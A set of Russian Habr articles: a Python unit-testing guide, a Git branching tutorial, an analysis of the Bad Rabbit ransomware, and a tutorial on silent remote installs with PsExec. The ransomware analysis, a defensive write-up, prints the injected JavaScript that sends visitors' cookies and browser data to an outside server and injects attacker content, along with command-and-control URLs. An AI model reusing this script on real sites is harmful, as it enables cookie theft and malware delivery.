...
def test_refresh_with_timeout():
...
```
В общем случае функции должны тестироваться тестовым набором, содержащим только функции, тогда как классы должны тестироваться, либо набором функций, либо эти функции должны быть организованы в класс. Организация тестов в класс может быть полезна при работе с модулями, в которых больше одного класса:
```
class Thing(object):
...
class TestThing(object):
def test_something(self):
...
```
Тесты создания экземпляров класса должны именоваться как `test_constructor`, также полезно иметь тесты, которые зовутся `test_default_state`:
```
def test_default_state(self):
credentials = self.make_credentials()
# No access token, so these shouldn't be valid.
assert not credentials.valid
# Expiration hasn't been set yet
assert not credentials.expired
# Scopes aren't required for these credentials
assert not credentials.requires_scopes
```
#### Используйте инструкции assert для результатов и выходных данных, а не для шагов, которые нужно выполнить
К тесту стоит относиться, как к проверке одной механики за раз. С тестами нужно следовать тому же эмпирическому правилу, что и с функциями: они должны делать всего одну вещь (в случае с тестами) и должны делать ее хорошо. Не зацикливайтесь на вызове одной функции за раз или на единственном ее вызове в принципе. Иногда тестирование выходных данных подразумевает множественные вызовы. Ваши ассерты должны проверять, что состояние системы совпадает с тем выходом, который вы ждете. Вам не нужно лишний раз задумываться над тем, какой путь при этом преодолеет код.
Например, этому тесту известно слишком много о том, как получается вывод, и он не устойчив к изменениям в реализации:
```
test_payload = {'test': 'value'}
encoded = jwt.encode(signer, test_payload)
expected_header = {'typ': 'JWT', 'alg': 'RS256', 'kid': signer.key_id}
expected_call = json.dumps(expected_header) + '.' + json.dumps(test_payload)
signer.sign.assert_called_once_with(expected_call)
```
Этот тест гораздо лучше, поскольку он просто проверяет, что результат был таким, как ожидалось:
```
test_payload = {'test': 'value'}
encoded = jwt.encode(signer, test_payload)
header, payload, _, _ = jwt._unverified_decode(encoded)
assert payload == test_payload
assert header == {'typ': 'JWT', 'alg': 'RS256', 'kid': signer.key_id}
```
В целом, я вижу слишком много вызовов `assert_call`*\**, еще кажется, что в тестах слишком много моков, и они знают слишком много о внутренних компонентах. Несмотря на то, что суть теста в том, чтобы убедиться, что цель определенным образом вызывает коллаборатора, спросите себя, нужен ли вам ассерт для подтверждения того, что цель отработала как положено. Также полезно притвориться, что вы не видите реализацию цели (так называемый черный ящик).
#### Используйте реальные объекты в качестве коллабораторов, когда это возможно
Конечно, адептам юнит-тестирования это может не понравиться, но возможность использовать коллабораторов для прямого отлавливания багов должна вдохновлять вас реализовывать функции и классы так, чтобы их логика работы не давала нежелательных побочных эффектов. Если вам трудно работать с коллабораторами без побочных эффектов, неплохо подумать о том, как их отрефакторить или упростить.
Вот пример того, как можно сделать мок коллаборатора (с переиспользованием предыдущего примера):
```
signer = mock.create_autospec(crypt.Signer, instance=True)
signer.key_id = 1
test_payload = {'test': 'value'}
encoded = jwt.encode(signer, test_payload)
expected_header = {'typ': 'JWT', 'alg': 'RS256', 'kid': signer.key_id}
expected_call = json.dumps(expected_header) + '.' + json.dumps(test_payload)
signer.sign.assert_called_once_with(expected_call)
```
Теперь использование чего-то более реального, позволяет вам верифицировать результат работы, вместо прохождения определенных шагов:
```
signer = crypt.RSASigner.from_string(PRIVATE_KEY_BYTES, '1')
test_payload = {'test': 'value'}
encoded = jwt.encode(signer, test_payload)
header, payload, _, _ = jwt._unverified_decode(encoded)
assert payload == test_payload
assert header == {'typ': 'JWT', 'alg': 'RS256', 'kid': signer.key_id}
```
Если вы заметили, что тесты переписывают логику цели, возможно, стоит переосмыслить то, как вы тестируете.
#### У моков всегда должны быть спецификации
Когда вам нужно использовать мок для коллаборатора, избегайте применения Mock-объекта напрямую. Вместо этого используйте `mock.create_autospec()` (<https://docs.python.org/3/library/unittest.mock.html#unittest.mock.create_autospec>) или `mock.patch(autospec=True)` (<https://docs.python.org/3/library/unittest.mock.html#autospeccing>), если это представляется возможным. Автоматическая настройка спецификаций реального коллаборатора чревата тем, что, если интерфейс коллаборатора меняется, тест падает. Получение спецификаций вручную или не получение их вообще означает, что интерфейс коллаборатора не сломает тесты, которые его используют, то есть у вас, может быть, стопроцентное покрытие тестами и при этом ваша библиотека упадет при использовании!
Например, очень плохо получается, когда ваша цель может вызывать практически любой метод коллаборатора независимо от того, существует он или нет:
```
signer = mock.Mock()
encoded = jwt.encode(signer, test_payload)
...
signer.sign.assert_called_once_with(expected_call)
```
Ручная настройка спецификаций все же более предпочтительна, но плохо, когда они не соединены с интерфейсом коллаборатора. Так вы открываете дверь рефакторингу, который может сломать вашу библиотеку, но не ваши тесты:
```
signer = mock.Mock(spec=['sign', 'key_id'])
encoded = jwt.encode(signer, test_payload)
...
signer.sign.assert_called_once_with(expected_call)
```
Самый правильный способ – это использовать `mock.create_autospec()` или `mock.patch(..., autospec=True)`*.* Так вы гарантируете, что между вашим моком и интерфейсом коллаборатора будет связь. Если вы измените интерфейс коллаборатора таким образом, что нарушится целостность нижестоящих целевых объектов, то тесты по праву упадут:
```
signer = mock.create_autospec(crypt.Signer, instance=True)
encoded = jwt.encode(signer, test_payload)
...
signer.sign.assert_called_once_with(expected_call)
```
В некоторых случаях просто невозможно использовать *autospec*, например, когда вы мокаете модуль импорта, который в ином случае будет недоступен в вашей среде. В таких случаях, описанное правило может соблюдаться не так строго.
#### Используйте заглушки или фейки
Мок, конечно же, хорошая практика, но, если вы из кожи вон лезете, чтобы заставить его вести себя так, как вы хотите, вспомните о заглушках (stub). У заглушек есть несколько заготовленных ответов или поведений, полезных для юнит-тестов, а у фейков есть вполне рабочие реализации, но они используют шорткаты, которые не работают с реальными коллабораторами (например, in-memory базами данных).
Здесь представлена простая заглушка, которая реализует абстрактный класс в целях тестирования:
```
class CredentialsStub(google.auth.credentials.Credentials):
def __init__(self, token='token'):
super(CredentialsStub, self).__init__()
self.token = token
def apply(self, headers, token=None):
headers['authorization'] = self.token
def before_request(self, request, method, url, headers):
self.apply(headers)
def refresh(self, request):
self.token += '1'
```
А вот простой фейк для клиента Memcache:
```
class MemcacheFake(object):
def __init__(self):
self._data = {}
def set(self, key, value):
self._data[key] = value
def get(self, key):
return self._data.get(key)
```
По возможности, всякий раз заглушка или фейк должны быть подклассом коллаборатора. Поскольку это позволяет таким инструментам, как *pylint*, проверять, правильно ли вы реализуете интерфейс, а также отлавливать ошибки при изменении интерфейса коллаборатора.
#### Помните про «шпиона»
Если вы вдруг обнаружили, что используете мок только для того, чтобы сделать ассерты для вызовов, подумайте об использовании «шпиона». Шпион – это объект, который перенаправляет и записывает взаимодействия. У *Mock* есть встроенная поддержка шпионажа, а конкретно именованный параметра `wraps`:
```
credentials = mock.Mock(wraps=CredentialsStub())
...
assert credentials.refresh.called
```
#### Не давайте мокам/заглушкам/фейкам специальные имена
Моки должны называться так, как мог бы называться реальный коллаборатор. Не используйте *mock\_x, x\_mock, mocked\_x, fake\_x* и т.д, просто *x*. Основная причина здесь кроется в том, что так вы думаете о моках, как о реальных коллабораторах, и назначение теста остается более понятным. Например, вот так делать нет необходимости:
```
mock_signer = mock.create_autospec(crypt.Signer, instance=True)
```
Просто *signer*:
```
signer = mock.create_autospec(crypt.Signer, instance=True)
```
С patch аналогично, не делайте так:
```
@mock.patch('google.auth._helpers.utcnow')
def test_refresh_success(mock_utcnow):
mock_utcnow.return_value = datetime.datetime.min
...
```
Назовите просто `utcnow`:
```
@mock.patch('google.auth._helpers.utcnow')
def test_refresh_success(utcnow):
utcnow.return_value = datetime.datetime.min
...
```
Если вы используете `patch` в качестве менеджера контекста, давать имя `x_patch` вполне нормально:
```
utcnow_patch = mock.patch('google.auth._helpers.utcnow')
with utcnow_patch as utcnow:
utcnow.return_value = datetime.datetime.min
...
```
Обратите внимание, что `utcnow_patch` пишется как `utcnow`. Так выглядит понятнее, поэтому рекомендация имеет смысл, то есть вы создаете заменитель, но называете его тем же именем.
Кроме того, если вы используете декоратор `patch` и не используете мок, можно назвать его `unused_x`:
```
@mock.patch('google.auth._helpers.utcnow')
def test_refresh_success(unused_utcnow):
...
```
#### Используйте фабрики и helper-ы для создания сложных коллабораторов
Иногда в тестах нужна комплексная настройка. В целом, отдавайте предпочтение helper-ам и фабрикам для создания коллабораторов. Например, эта фабрика создает моковый http-объект, который возвращает специальный ответ:
```
def make_http(data, status=http_client.OK, headers=None):
response = mock.create_autospec(transport.Response, instance=True)
response.status = status
response.data = _helpers.to_bytes(data)
response.headers = headers or {}
http = mock.create_autospec(transport.Request)
http.return_value = response
return request
```
Его можно использовать из нескольких тестов для проверки поведения:
```
def test_refresh_success():
http = make_http('OK')
assert refresh(http)
def test_refresh_failure():
http = make_http('Not Found', status=http_client.NOT_FOUND)
with pytest.raises(exceptions.TransportError):
refresh(http)
```
#### Пользуйтесь фикстурами экономно
Фикстуры pytest (<https://docs.pytest.org/en/latest/fixture.html>) – это отличный способ переиспользования логики настройки и прерывания. В целом, преимущество лучше отдавать helper-ам и фабрикам, поскольку так проще думать и передавать аргументы в методы `helper`. Фикстуры отлично подходят для аспектов, которые идентичны для всех тестов и требуют как логики настройки, так и логики прерывания. Например, вот фикстура, которая запускает веб-сервер в фоновом режиме для каждого теста и выключает его после окончания теста:
```
@pytest.fixture()
def server():
server = WSGIServer(application=TEST_APP)
server.start()
yield server
server.stop()
```
Еще фикстуры могут быть полезны в системных тестах для внедрения сложных зависимостей, которые могут потребовать очистки. Например, вот фикстура, которая возвращает клиент базы данных и удаляет из нее все элементы после окончания теста:
```
@pytest.fixture()
def database():
db = database.Client()
yield db
db.delete(db.list_all())
```
Еще одна веская причина использовать фикстуры – это внедрение зависимостей, например, если вы тестируете несколько реализаций абстрактного класса. Опять же, это больше история про системные тесты. Например, следующая фикстура гарантирует, что все тесты выполняются через `urllib3` и отправляют запросы к `transport`:
```
@pytest.fixture(params=['urllib3', 'requests'])
def http_request(request):
if request.param == 'urllib3':
yield google.auth.transport.urllib3.Request(URLLIB3_HTTP)
elif request.param == 'requests':
yield google.auth.transport.requests.Request(REQUESTS_SESSION)
```
---
> В 2021 году уже никого не удивить приложениями в контейнерах, но многие наши коллеги все ещё предпочитают олдскульный способ для развертывания Django приложений. На вебинаре мы расскажем, как за всего лишь час с небольшим «упаковать» любое Django приложение в Docker, объясним почему это важно, и поделимся лайфаками о том, как в процессе не выстрелить себе в ногу. Регистрируйтесь на [**открытый урок.**](https://otus.pw/jT0l/)
>
> Перевод подготовлен в рамках онлайн-курса ["**Python Developer. Professional**"](https://otus.pw/6we8/)
>
> | https://habr.com/ru/post/556980/ | null | ru | null |
# Git для новичков (часть 2)
В [прошлой статье](https://habr.com/ru/post/541258/), я рассказал, что такое Git, как его установить и выложить свой код на GitHub. Сегодня мы поговорим про работу в команде над одним проектом. И как это устроено в Git.
В данной статье, вся работа с Git будет через командную строку.
### Совместная работа
Представим, что вы с друзьями придумали проект, с "блэкджеком" и ... Вы разделили обязанности. Кто-то будет делать авторизацию и регистрацию, а кто-то функционал вывода новостей. Для этого вам пригодится ветвление.
**Ветка** - это набор commit (кружок), которые идут друг за другом. У ветки есть название, основную ветку чаще всего называют `master` (на картинках будет называться `main`) . Если говорить простыми словами, то ветка `master` - это наш проект.
Другие ветки - это отдельное место для реализации нового функционала или исправление багов (ошибок) нашего проекта. То есть, с отдельной веткой вы делаете что угодно, а затем сливаете эти изменения в основную ветку `master`.
? Не рекомендую создавать commit напрямую в `master` . Лучше для этого заводить новую ветку и все изменения писать там.
Для того, чтобы создать новую ветку вводим:
```
git branch <название_ветки>
#или вот так
git checkout -b <название_ветки>
```
Эти команды делают тоже самое, только второй вариант позволяет сразу переключиться в новую ветку. Вносить изменения в новую ветку можно сразу после ее создания.
При создании новой ветки, старайтесь называть ее кратким и ёмким именем. Чтобы сразу было понятно, что именно изменялось по проекту. Если вы используете, какую-нибудь систему для ведения задач, то можете в начале названия ветки указывать ID задачи, чтобы можно было легко найти, на основе какой задачи была создана ветка. Например вот так:
```
3424_fix_catalog_ajax
```
В каждом новом commit следует оставлять коммент и в нем описывать суть изменений.
Переключаться между ветками можно такой командой:
```
git checkout <название_ветки>
```
После того, как вы завершили работу над своей задачей, ветку можно слить в `master` . Для этого нужно переключиться в ветку `master` и выполнить следующую команду:
```
# Переключаемся в master
git checkout master
# Обновляем локальную ветку с сервера
git pull origin master
# Делаем merge вашей ветки, в ветку в которой вы находитесь
# В данном примере это master
git merge <название_ветки>
```
❗️ Перед тем как сливать новый `merge` , стоит обновить локальную ветку `master` , во избежания дальнейших проблем.
Команда `merge` берет все изменения из ветки (например `bugFix`) и добавляет их в ветку `master`.
Для того чтобы посмотреть текущее состояние ветки, например, какие файлы добавлены или не добавлены для создания commit, можно выполнить команду:
```
git status
```
Другие пользователи не увидят вашу ветку, пока она не будет отправлена на удаленный репозиторий. Поэтому, после того как вы слили все изменения в `master` , нужно отправить их в GitHub. Для этого **обязательно** нужно находиться в ветке `master` :
```
git checkout master
# Отправляем наши изменения в GitHub
git push origin master
```
Теперь все ваши изменения, в ветке `master` улетели в GitHub. Таким же образом, можно отправить любую другую ветку:
```
git checkout <название_ветки>
git push origin <название_ветки>
```
?Совет. Каждый коммит, лучше заливать сразу в удаленный репозиторий. Никто не застрахован, поломки собственного ПК. Поэтому чтобы не потерять все наработки, не забывайте сливать ваши изменения на GitHub.
### Как же теперь другой человек получит все ваши изменения?
Для этого вам понадобиться GitHub или любой другой сервис для хранения кода. В прошлой статье я рассказывал как отправить код в GitHub. Сейчас я покажу, как его скопировать обратно себе на компьютер.
Если у вашего друга раньше не было проекта, то ему придется его "клонировать" себе:
```
git clone <адрес_репозитория>
```
? Адрес репозитория на GitHub можно получить, нажав на зеленую кнопку `Code`
После выполнения команды, в папке где появиться проект и ваш друг сможет с ним работать. Все ветки и их история также подтянуться.
### Теперь самое главное
Перед тем, как создавать новый функционал и новую ветку, стоит обновить `master` на вашем устройстве. Для этого нужно находиться в этой ветке и выполнить следующую команду:
```
# Переключаемся в master
git checkout master
# Подтягиваем изменения из репозитория GitHub
git pull origin master
```
Таким же образом можно актуализировать любую другую ветку, заменив название ветки `master` на вашу.
Для обновления всех веток сразу, можно использовать такую, команду, но **не рекомендую**:
```
git pull
```
Теперь можно создавать новую ветку и кодить.
### Какие проблемы могут возникнуть?
Git старается автоматически сливать изменения, однако это не всегда возможно. Иногда возникают конфликты. Например, когда в двух ветках были изменения в одной и той же строчке кода. Если такое произошло, то необходимо разрешить конфликт вручную. Для этого откройте файл там, где этого произошло. Например, вы можете увидеть что-то подобное:
```
# Вы пытались выполнить это
git checkout new_styles
git merge master
# В конце увидели это
Auto-merging index.html
CONFLICT (content): Merge conflict in index.html
Automatic merge failed; fix conflicts and then commit the result.
```
```
<<<<<<< HEAD
=======
>>>>>>> master
Hello,World!
============
```
Первый раздел (HEAD) - это то, что находиться в текущей ветке, куда вы пытались слить код. Второй раздел (между `====` и `>>>>master`) - версия кода в ветке, откуда вы пытались слить код (в данном случае `master`). Для того, чтобы разрешить конфликт, стоит оставить стили и привести файл в такой вид:
```
Hello,World!
============
```
После внесения нужных изменений добавьте ваш файл через `git add <имя_файла>` как измененный и создайте новый commit:
```
git add index.html
git commit -m "Merged master fixed conflict."
```
### Вспомогательные команды
Просмотреть изменения относительно двух веток можно командой:
```
git diff <исходная_ветка> <целевая_ветка>
```
Удалить ненужную ветку:
```
git branch -d <название_ветки>
```
Просмотр историю ветки:
```
git log
```
Подсказки по популярным командам:
```
# По популярным командам
git help
# Или по конкретной команде
git help <название_команды>
# Например clone
git help clone
```
### Практика и вспомогательные инструменты
Для улучшения ваших навыков, в очередной раз оставлю ссылку на [полезный тренажер с заданиями](https://learngitbranching.js.org/).
Так же, для удобства использования в Visual Studio Code, советую поставить [это расширение](https://marketplace.visualstudio.com/items?itemName=mhutchie.git-graph), которое визуализирует ваши ветки и commit, и помогает с ними работать.
В телеграмм канале[Step by Step](https://t.me/stepByStep_dev), я публикую еще больше материала для тех, кто хочет научиться программировать и провожу обучающие стримы, для всех желающих. | https://habr.com/ru/post/542616/ | null | ru | null |
# Bad Rabbit: Petya возвращается
От [атаки](https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/) шифратора Diskcoder.D (Bad Rabbit), начавшейся 24 октября, пострадали компании России и Украины, включая Киевский метрополитен. Собрали в посте первые результаты исследования вредоносной программы.

### Атака drive-by download с помощью watering hole на популярных сайтах
Один из способов распространения Bad Rabbit – атака drive-by download. Атакующие скомпрометировали несколько популярных сайтов, внедрив JavaScript в код HTML или один из файлов `.js`.

Ниже усовершенствованная версия инъекции:
```
function e(d) {
var xhr = null;
if (!!window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (!!window.ActiveXObject) {
var xhrs = ['Microsoft.XMLHTTP', 'Msxml2.XMLHTTP', 'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP.6.0'];
for (var i = 0; i < xhrs.length; i++) {
try {
xhr = ActiveXObject(xhrs[i]);
break;
} catch (e) {}
}
}
if (!!xhr) {
xhr.open('POST', 'http://185.149.120\.3/scholargoogle/');
xhr.timeout = 10000;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var resp = xhr.responseText;
if (resp) {
var fans = JSON.parse(resp);
if (fans) {
var an_s = decodeURIComponent(fans.InjectionString).replace(/\+/g, '%20');
var da = document.createElement('div');
da.id = 'ans';
da.innerHTML = an_s;
document.body.appendChild(da);
}
}
}
};
var pd = [];
for (var k in d) {
if (d.hasOwnProperty(k)) {
pd.push(k + '=' + d[k]);
}
}
var dc = pd.join('&');
xhr.send(dc);
}
}
e({
'agent': navigator.userAgent,
'referer': document.referrer,
'cookie': document.cookie,
'domain': window.location.hostname,
'c_state': !!document.cookie
});
```
Скрипт передает следующую информацию на 185.149.120[.]3, связь с которым, похоже, на данный момент отсутствует:
* User-agent браузера
* Referrer
* Куки с посещенного сайта
* Имя домена посещенного сайта
Логика на стороне сервера может определить, интересен ли посетитель, а затем добавить на страницу контент. В этом случае мы наблюдали всплывающее окно с предложением загрузить обновление для Flash Player.

По клику на кнопку Install запускается загрузка исполняемого файла с `1dnscontrol[.]com`. Исполняемый файл `install_flash_player.exe` является дроппером Win32/Filecoder.D. Далее компьютер будет заблокирован, на экране появится сообщение о выкупе:

Страница с информацией об оплате:

### Распространение через SMB
Win32/Diskcoder.D может распространяться через SMB. Вопреки некоторым сообщениям в СМИ, он НЕ ИСПОЛЬЗУЕТ эксплойт EthernalBlue (как это делал [Win32/Diskcoder.C](https://habrahabr.ru/company/eset/blog/332058/) – он же Petya/NotPetya). В отличие от предшественника, Diskcoder.D сканирует внутреннюю сеть на предмет открытых сетевых дисков/ресурсов. Он ищет следующие сетевые шары:
`admin
atsvc
browser
eventlog
lsarpc
netlogon
ntsvcs
spoolss
samr
srvsvc
scerpc
svcctl
wkssvc`
На зараженной машине запускается Mimikatz для сбора учетных данных. Предусмотрен жестко закодированный список логинов и паролей.

После обнаружения действительных учетных данных файл `infpub.dat` будет загружен в каталог Windows и выполнен с помощью SCManager и `rundll.exe`.
### Шифрование
Win32/Diskcoder.D – модифицированная версия Win32/Diskcoder.C, известного по прошлой эпидемии Petya/NotPetya. Исправлены ошибки в шифровании файлов. Для шифрования теперь используется [DiskCryptor](https://diskcryptor.net/), легитимное ПО с открытым исходным кодом, предназначенное для шифрования логических дисков, внешних USB-накопителей и образов CD/DVD, а также загрузочных системных разделов диска. Ключи генерируются с использованием `CryptGenRandom` и затем будут защищены жестко закодированным открытым ключом RSA 2048.
Файлы зашифрованы с расширением `.encrypted`. Как и прежде, используется алгоритм AES-128-CBC.
### Распространение
Интересно, что по данным телеметрии ESET на долю Украины приходится 12,2% обнаружений компонента дроппера. Статистика ниже:
* Россия – 65%
* Украина – 12,2%
* Болгария – 10,2%
* Турция – 6,4%
* Япония – 3,8%
* другие – 2,4%
Статистика в значительной степени соответствует географическому распределению скомпрометированных сайтов, содержащих вредоносный JavaScript. При этом Украина пострадала сильнее, чем остальные страны (кроме России).
Отметим, что крупные компании были поражены примерно в одно время. Возможно, у кибергруппы был доступ в их сети, и в то же время она начала атаку watering hole в качестве приманки. Не факт, что все жертвы попались на упомянутое обновление Flash Player. В любом случае, мы продолжаем расследование инцидента.
### Образцы

### C&C-серверы
`Платежный сайт: http://caforssztxqzf2nm[.]onion
URL Inject: http://185.149.120[.]3/scholargoogle/
Distribution URL: hxxp://1dnscontrol[.]com/flash_install.php`
### Список скомпрометированных сайтов:
`hxxp://argumentiru[.]com
hxxp://www.fontanka[.]ru
hxxp://grupovo[.]bg
hxxp://www.sinematurk[.]com
hxxp://www.aica.co[.]jp
hxxp://spbvoditel[.]ru
hxxp://argumenti[.]ru
hxxp://www.mediaport[.]ua
hxxp://blog.fontanka[.]ru
hxxp://an-crimea[.]ru
hxxp://www.t.ks[.]ua
hxxp://most-dnepr[.]info
hxxp://osvitaportal.com[.]ua
hxxp://www.otbrana[.]com
hxxp://calendar.fontanka[.]ru
hxxp://www.grupovo[.]bg
hxxp://www.pensionhotel[.]cz
hxxp://www.online812[.]ru
hxxp://www.imer[.]ro
hxxp://novayagazeta.spb[.]ru
hxxp://i24.com[.]ua
hxxp://bg.pensionhotel[.]com
hxxp://ankerch-crimea[.]ru` | https://habr.com/ru/post/340890/ | null | ru | null |
# Тихая установка программ на удалённый компьютер. Для самых маленьких
На текущий момент, когда многие зарубежные компании приостановили свою деятельность в России, всё более актуальным становится вопрос автоматизации рутинных рабочих процессов ~~подручными~~ доступными бесплатными средствами.
Предлагаю вашему вниманию статью об удалённой установке программ штатными средствами Windows 10 и бесплатными консольными утилитами.
Рассмотрим установку двух наиболее часто встречающихся типа установочных файлов .exe и .msi, на примере всеми любимого бесплатного архиватора 7-zip и браузера Google Chrome
Для начала нам потребуются актуальные дистрибутивы, которые можно скачать с официальных сайтов:
1. На момент написания статьи актуальной версией 7-zip являлась 21.07 ([64х битный установщик для Windows](https://www.7-zip.org/a/7z2107-x64.exe))
2. Google Chrome будем качать в виде установочного пакеты MSI, на момент написания статьи актуальная версия 102.0.5005.63 ([скачать msi установщик](https://chromeenterprise.google/intl/ru_ru/browser/download/thank-you/?platform=WIN64_BUNDLE&channel=stable&usagestats=0))
#*Обратите внимание что, что сам установщик упакован в архив, с расширением .zip, и для его извлечение предварительно необходимо будет установить ранее скачанный архиватор 7-zip.*

Так же нам понадобится утилита psexec, которая входит в комплект PsTools, скачать их можно [тут](https://download.sysinternals.com/files/PSTools.zip).
Теперь скачанные нами файлы установки и утилиту psexec необходимо поместить в одну папку, пусть для удобства это будет D:\silent\7z и D:\silent\chrome
 *#После распаковки архива с дистрибутивом Chrome нужный нам файл будет лежать в папке \Installers\* *GoogleChromeStandaloneEnterprise64.msi*
*##Т.к. большинство современных установок Windows 64-х разрядные, мы будем использовать файл PsExec64.exe*
Теперь можно используя командную строку Windows приступить к установке программ на удалённый компьютер
#Нажимаем комбинацию клавиш wir+R, вводим CMD и жмём OK
Перейдём в каталог со скачанным 7-zip выполнив команду
c:\>cd d:\silent\7z
Расскажу подробнее как работает утилита PsExec.
В простейшем случает синтаксис нашей команды будет таким:
psexec \\компьютер [-u пользователь [-p пароль]] программа [аргументы]
Где:
[***\\компьютер***](////%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80) – имя удалённого компьютера, на который мы будем устанавливать наш архиватор(у нас это user\_pc)
***[-u пользователь [-p пароль]]***– необязательные параметры, если у вашей учётной записи есть права на установку программ или права администратора в домене. Если нет – эти параметры помогают указать имя и пароль пользователя, который обладает достаточными правами.
***программа*** – имя исполняемого файла, (7z2107-x64.exe)
***аргументы*** – параметры установки программы, влияющие на сам процесс установки. Ещё аргументы называют ***ключами***.
#Например, аргумент /S - будет означать тихую установку программы, без участия пользователя на удалённом компьютере. Ключей тихой установки может быть множество, и для разных программ они могут отличаться. Подобрать их можно изучив документацию к программе, но как правило большинство из них являются универсальными.
Таким образом наша конечная команда будет выглядеть так:
PsExec64.exe \\user\_pc –c 7z2107-x64.exe /S
ключ –с копирует 7z2107-x64.exe на удалённый компьютер для последующего запуска
В случае успешной установки программы в окне командной строки мы должны увидеть следующее:
7z2107-x64.exe exited on user\_pc with error code 0.
error code 0 означает что программа установлена успешно.
В случае успешной установки программы в окне командной строки мы должны увидеть следующее:
7z2107-x64.exe exited on user\_pc with error code 0.
error code 0 означает что программа установлена успешно.
Всё! Пользователь работающий на user\_pc абсолютно незаметно для себя самого стал счастливым обладателем архиватора 7zip.
Теперь приступим к удалённой установке браузера Google Chrome, который мы скачали в виде установочного файла с расширением .msi.
Для установки MSI пакетов в windows используется утилита msiexec, которая уже установлена в операционной системе. Как правило утилита эта находится в каталоге c:\Windows\system32\msiexec.exe.
Удобнее и быстрее будет если предварительно установочный файл скопировать на целевой компьютер и запускать его оттуда удалённо. В этом нам поможет встроенная в Windows утилита xcopy. У неё очень простой синтаксис в стиле:
xcopy что\_копируем куда\_копируем параметры\_копирования
xcopy D:\silent\Chrome\GoogleChromeStandaloneEnterprise64.msi \\user\_pc\c$\Windows\Temp\ /s /e
Где:
***D:\silent\Chrome\GoogleChromeStandaloneEnterprise64.msi*** – полный пусть к файлу установки на нашем компьютере
***\\user\_pc\c$\Windows\Temp\*** - путь назначения для копируемого файла на удалённом компьютере
***/s /e -*** Копирование каталогов с подкаталогами, включая пустые.
Теперь всё готово для запуска удалённой установки программы.
psexec64.exe \\user\_pc c:\Windows\system32\msiexec.exe /i c:\Windows\Temp\GoogleChromeStandaloneEnterprise64.msi /qn /quiet /norestart
В первой части команды мы указываем утилите psexec64.exe имя удалённого компьютера [\\user\_pc](////user_pc) и место расположение утилиты отвечающей за установку .msi файлов c:\Windows\system32\msiexec.exe (как правило она всегда находится по этому пути), далее идёт ключ /i, который означает что будет производиться именно установка программы (install), после чего мы указываем полный пусть исполняемого файла на удалённом компьютере c:\Windows\Temp\GoogleChromeStandaloneEnterprise64.msi и в конце указываем несколько ключей тихой установки:
/qn – полностью скрывает процесс установки от пользователя
/quiet - тихий режим без взаимодействия с пользователем. Все окна будут скрыты. Если после обновления понадобиться перезагрузка, то она будет произведена.
/norestart – отменяет перезагрузку, если она необходима после установки программы.
Таким образом, после запуска нашей команды тихой удалённой установки браузера Google Chrome, пользователь на удалённом компьютере ничего не заметит ровно до того момента, когда ярлык браузера появится у него на рабочем столе.
### �
А если в вашей сети есть 100 компьютеров, на которые необходимо установить тот же браузер Google Chrome? Можно делать это вручную, запуская команды копирования и установки для каждого компьютера отдельно – это долгий и трудоёмкий процесс, а можно автоматизировать, написав простой скрипт и подсунув ему файл со списком компьютеров для установки.
Скрип будем писать в виде .bat файла, в котором будут последовательно исполняться команды.
В папке D:\silent\chrome создадим файлы install.txt и userspc.txt и откроем их в блокноте.
### �
 В файл userspc.txt заносим список ПК, на которые планируем установить Chrome, в файле не должно быть ни каких лишних символов, кроме имён ПК и символа переноса строки. Так же вместо имён можно использовать IP-адреса компьютеров. После этого файл можно сохранить и закрыть.
Теперь хорошо бы знать на какие компьютеры браузер установился успешно и на какие установка не произошла (например, компьютер мог быть выключен на момент запуска скрипта). Для этого в папке chrome создадим папку log которой создадим два файла install-good.txt и install-bad.txt, в которые скрипт будет заносить имена компьютеров с (не)успешной установкой.
### �
В файле install.txt пишем следующее:
for /f %%i in (d:\silent\Chrome\userspc.txt) do (
mkdir \\%%i\c$\Windows\Temp\Chrome
xcopy D:\silent\Chrome\googlechromestandaloneenterprise64.msi \\%%i\c$\Windows\Temp\Chrome /s /e
psexec64 \\%%i c:\Windows\system32\msiexec.exe /i c:\Windows\Temp\Chrome\googlechromestandaloneenterprise64.msi /qn /quiet /norestart
### �
```
if errorlevel 1 (
echo %%i >>D:\silent\Chrome\log\install-bad.txt
) ELSE (
echo %%i >>D:\silent\Chrome\log\install-good.txt
)
rmdir /s /q \\%%i\c$\Windows\Temp\Chrome
)
pause
```
Разберём построчно команды и алгоритм работы данного скрипта:
Алгоритм прост, в цикле считываем из файла userspc.txt построчно имена компьютеров, каждое имя присваивается переменной \\%%i, далее выполняются раннее составленные нами команды копирования и тихой установки Google Chrome. В конце скрипт проверяет код возвращаемой скриптом ошибки. Если скрипт вернул 0, в файл install-good.txt заноситься имя текущего компьютера, на котором была попытка установки программы. Если код ошибки другой, то компьютер заноситься в файл install-bad.txt.
### �
```
for /f %%i in (d:\silent\Chrome\userspc.txt) do (
…
)
```
Цикл for предназначен для выполнения повторяющихся однотипных команд,
Рассмотрим его работу более детально. %%i – переменная, которая является счётчиком шагов цикла, писать её надо именно так, как в примере используя двойной знак процента и букву английского алфавита, одну. На каждом шаге цикла выполняются команды, записанные после слова do. Ключ /f указывает на то, что цикл будет работать с файлами. После слова in указан путь к файлу, где хранятся имена компьютеров.
Этот блок программы построчно считывает имена компьютеров и для каждого из них выполняет указанные в скобках команды.
`mkdir \\%%i\c$\Windows\Temp\Chrome`
mkdir – команда, предназначенная для создания каталогов. В нашем случае мы создаём папку Chrome на удалённом компьютер в папке \Windows\Temp\. Напомню, что текущее имя удалённого компьютера храниться в переменной %%i.
Как работает xcopy было рассмотрено ранее в статье, по этому на ней заострять внимание не будем.
### �
`psexec64 \\%%i c:\Windows\system32\msiexec.exe /i c:\Windows\Temp\Chrome\googlechromestandaloneenterprise64.msi /qn /quiet /norestart` – запускает установку Chrome на каждом отдельно взятом компьютере.
```
if errorlevel 1 (
echo %%i >>D:\silent\Chrome\log\install-bad.txt
) ELSE (
echo %%i >>D:\silent\Chrome\log\install-good.txt
)
```
if – команда, обрабатывающая какое-то логическое условие, она же оператор ветвления. Т.е. если условие заданное после if выполняется, то будет выполнена команда, следующая за условием. В противном случае будут выполнены команды следующие за оператором ELSE. Завершив работу программа возвращает код завершения, с помощью errorlevel их можно использовать в качестве условия.
`echo %%i >>D:\silent\Chrome\log\install-bad.txt`
